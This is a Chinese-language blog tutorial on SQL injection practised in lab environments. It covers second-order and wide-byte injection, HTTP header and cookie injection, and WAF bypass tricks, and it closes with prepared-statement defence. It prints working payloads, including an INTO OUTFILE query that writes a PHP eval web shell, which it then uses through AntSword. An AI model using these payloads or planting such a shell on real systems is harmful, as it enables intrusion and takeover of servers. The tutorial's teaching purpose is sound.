【网络安全的神秘世界】SQL注入（下）

在这里插入图片描述

🌝博客主页：泥菩萨

💖专栏：Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

3.7 二次注入

不好挖这个漏洞，需要搞懂业务逻辑关系

二次注入通常是指在存入数据库时做了过滤，但是取出来的时候没有做过滤，而产生的数据库注入

1️⃣插入恶意数据

在第一次向数据库插入数据库时，网站本身使用addslashes()对其中的特殊字符进行转义，但是addslashes()有一个特点就是虽然参数在过滤后会添加“\"进行转义，但是”\"并不会插入到数据库中，在写入数据库的时候还是保留了原来的数据

在MySQL中，\属于转义字符，当我们insert插入\字符时，\在数据库中最终只会存储为空值“ ”

在这里插入图片描述

2️⃣引用恶意数据

在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次需要进行查询的时候，直接从数据库中取出了了脏数据，没有进一步的校验和处理，这样就会造成SQL的二次注入

在这里插入图片描述

3.8 宽字节注入

安装pikachu环境

docker pull area39/pikachu
docker run -d -p 8000:80 area39/pikachu

借助 Docker 轻松搭建 Pikachu 靶场教程

宽字节概念

如果一个字符的大小是一个字节的，称为窄字节;
如果一个字符的大小是两个及以上字节的，称为宽字节;
像GB2312、GBK、GB18030、BIG5、Shift_jis等编码都是常见的宽字节字符集
英文默认占一个字节，中文占两个字节

宽字节注入原理

宽字节注入利用MySQL的一个特性：使用GBK编码的时候，会认为两个字符是一个汉字

进入pikachu靶场的后端查看mysql数据库中使用的什么编码

docker exec -it pikachu_id bash

在这里插入图片描述

show variables like '%character%'

在这里插入图片描述

发现数据库用的latin1编码方式，但是上面说了用gbk编码才有宽字节注入场景

而pikachu靶场又存在宽字节注入，那是因为网站代码手动设置了mysql编码为gbk

在这里插入图片描述

判断输入点是字符型，构造字符型注入语句

在这里插入图片描述

发现注入失败，但是去数据库里能查出来，这说明网站做了过滤

在这里插入图片描述

为了防止网站被SQL注入，网站开发人员会做一些防护措施，其中最常见的就是对一些特殊字符进行转义

通过前面的学习可以了解到，SQL注入非常关键的一步就是让引号闭合和跳出引号，无法跳出引号，那么输入的内容就永远在引号里，即永远是字符串，无法实现SOL注入

网站开发者也想到了这一步，于是做个防护措施：转义，对输入的敏感内容、特殊字符进行转义

addslashes()函数

addslashes() 会在预定义字符之前添加反斜线 \进行转义
预定义字符:单引号'，双引号"，反斜线\，NULL

【转义】：预定义字符在加上反斜线之后，就已经不具备其原有的语法功能了，就仅仅是一个普通的字符串了

绕过addslashes()函数

通过前面的SQL注入实验可以发现，字符型的注入点我们都是用单引号来判断的，但是当遇到 addslashes() 函数时，单引号会被转义，导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符\ 失效、使单引号逃逸

✨绕过原理：

# 前端输入
kobe%df' or 1=1# 

# 后端通过addslashes()添加转义字符\，编码后变成%5C
kobe%df\' or 1=1# 
kobe%df%5c%27 or 1=1# 

# 因为数据库使用gbk编码（2个字节会被编码为1个汉字），那么%df%5c= 運
kobe運' or 1=1#

✨绕过步骤：

1️⃣输入 kobe%df' and 1=1# 后发现还是失败

在这里插入图片描述

抓包发现那是因为网站前端对%做了url编码变成%25

在这里插入图片描述

2️⃣抓包直接在bp中修改，就不会经过url编码了

在这里插入图片描述

掌握这个原理后，%df也可以替换成其他2位16进制数；不同的编码方式有不同的绕过方法

3.9 http header和cookie注入

HTTP头注入其实并不是一个新的SQL注入类型，而是指出现SQL注入漏洞的不同场景下该怎么使用

当攻击者能够控制这些 HTTP 头部字段的值，并且应用程序没有正确地转义或过滤这些输入时，他们可能会插入恶意的 SQL 代码片段，从而可能导致数据泄露、数据篡改、甚至完全控制数据库

进入pikachu的http header来进行一下测试：

抓包将它发送到【Repeater】模块，将User-Agent的值删掉，自己构造一个单引号：

在这里插入图片描述

出现了语法错误，意味着输入的内容会到数据库中进行查询，接下来的步骤就很简单了，跟前面的报错注入是一样的

'or updatexml(1,concat(0x7e,database()),0) or'

cookie注入就是把注入语句通过抓包放进cookie里面，跟上面的步骤一样，这里不再赘述了

四、从MySQL注入到GetShell

mysql支持向外写文件（这里的“外”是指服务器内部，除mysql），需要用到select into outfile命令

select into outfile的作用：将被选择的一行代码写入一个文件中，文件被创建到服务器上

select into outfile的使用前提是：

要知道网站的绝对路径，可以通过开源程序、报错信息、phpinfo界面、404界面等方式知道
对目录要有写权限，一般image之类的存放图片的目录有写权限
要有mysql file权限（即能够对系统的文件读写操作），默认情况下只有root权限有

还要注意：写的文件名一定是在网站中不存在的，不然会失败

我们使用into outfile写入一句话木马，文件名为shell2.php：

1' union select 1,"<?php eval($_POST['a']);?>" into outfile ' /var/www/html/shell2.php

eval()：允许执行任何传递给它的 PHP 代码字符串
$_POST[‘a’]：a是攻击者定义的关键字，用来接收攻击者输入的内容
/var/www/html：网站的根目录，底层是Linux系统的话，文件通常放在这

1️⃣在DVWA Low等级的SQL Injection中输入

在这里插入图片描述

2️⃣访问http://ip:port/shell2.php，打开hackerbar插件，勾选Post data，给a传递参数后点击【Execute】执行

在这里插入图片描述

pwd属于操作系统命令，不能直接传递给php，要按照规定的格式写

在这里插入图片描述

使用get方法，直接在url构造

1' union select 1,"<?php eval($_GET['a']);?>" into outfile ' /var/www/html/shell2.php

在这里插入图片描述

3️⃣打开蚁剑，密码为a（蚁剑出于安全考虑，只能连接post方法）

在这里插入图片描述

五、SQL注入绕过

5.1 大小写绕过

适用于设置了黑名单的情况下，可以任意的把某些字改为大小写

举例：seLeCT、SelEcT

5.2 替换关键字

大小写转换无法绕过，而且正则表达式会替换或删除select、union等关键字可以尝试双写：

举例：SELselectECT、SeLSeselectleCTect

5.3 使用编码

在浏览器输入一个链接，浏览器会对特殊字符进行url编码，可以通过编码的方式进行绕过

空格%20、单引号%27、左括号%28、右括号%29

1️⃣url编码

1%2527id=1%252f%252a*/UNION%252f%252a%252a/SELECT

2️⃣16进制编码

mysql>select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select password from users where first_name=0x61646d696e),0x7e)));

5.4 使用注释

比如输入select 1被网站拦截，可以尝试select/**/1进行注释绕过

1️⃣普通注释

看一下常见的用于注释的符号有哪些：

-- ，/**/，#，-- -，

2️⃣内联注释

不具备注释语义的注释符：仍然能执行出结果

相比普通注释，内联注释使用的更多，它有一个特性/* ! */只有MySQL能识别

/*!SELECT*/1/*!union*//*!all*//*!select*/2;

5.5 等价函数与命令替换

1、函数

bin()	#二进制
hex()   #十六进制
bin()、hex() ==> ascii()

sleep() ==> benchmark()
benchmark(count,expr)
benchmark会重复计算expr表达式count次，通过这种方式就可以评估出mysql执行这个expr表达式的效率

concat_ws() ==> concat()
concat_wa("分隔符",字段1，字段2....)  #多个列的字段合并并添加分隔符

mid()、substr() ==> substring() #字符串的截取

strcmp(str1,str2) 
#比较两个字符串，如果两个字符串相等就返回0，如果第二个字符小于第一个字符就返回1，反之返回-1
strcmp(left('password',1),0x70) = 0
strcmp(left('password',1),0x69) = 1
strcmp(left('password',1),0x71) = -1

2、符号

当and和or不能用时，可以用&& 和 || 替换

=不能使用时，可以考虑<、>

空格，可以使用如下符号表示：%20 %09 % 0a %0b %0c %0d %a0 /**/

5.6 特殊符号

1、反引号`（tab键上方）：可以过滤空格和正则，特殊情况下还可以当注释

select id from`users`;

2、-+：过滤空格和关键字

select+user_id-1+1.from users;

3、@符号：@表示用户定义，@@表示系统变量

select@^1,from users;

4、部分可能发挥作用的符号：`、~、！、@、%、()、[]、.、-、+、|、%00

六、SQL注入防御

--------------sql注入的危害这么大，为什么不对数据库进行修改？

mysql的作用只是存储和查询数据，而注入是代码层面出现的问题，所以不需要对数据库进行修复

6.1 预编译和绑定变量

预编译：提前构造好语句，只能提交指定类型的值

String sql="select id,num from user where id=?"  //定义sql语句
	PreparedStatement ps=conn.prepareStatemnt(sql)
	ps.setInt(1,id);  //设置变量
	ps.executeQuery();  //执行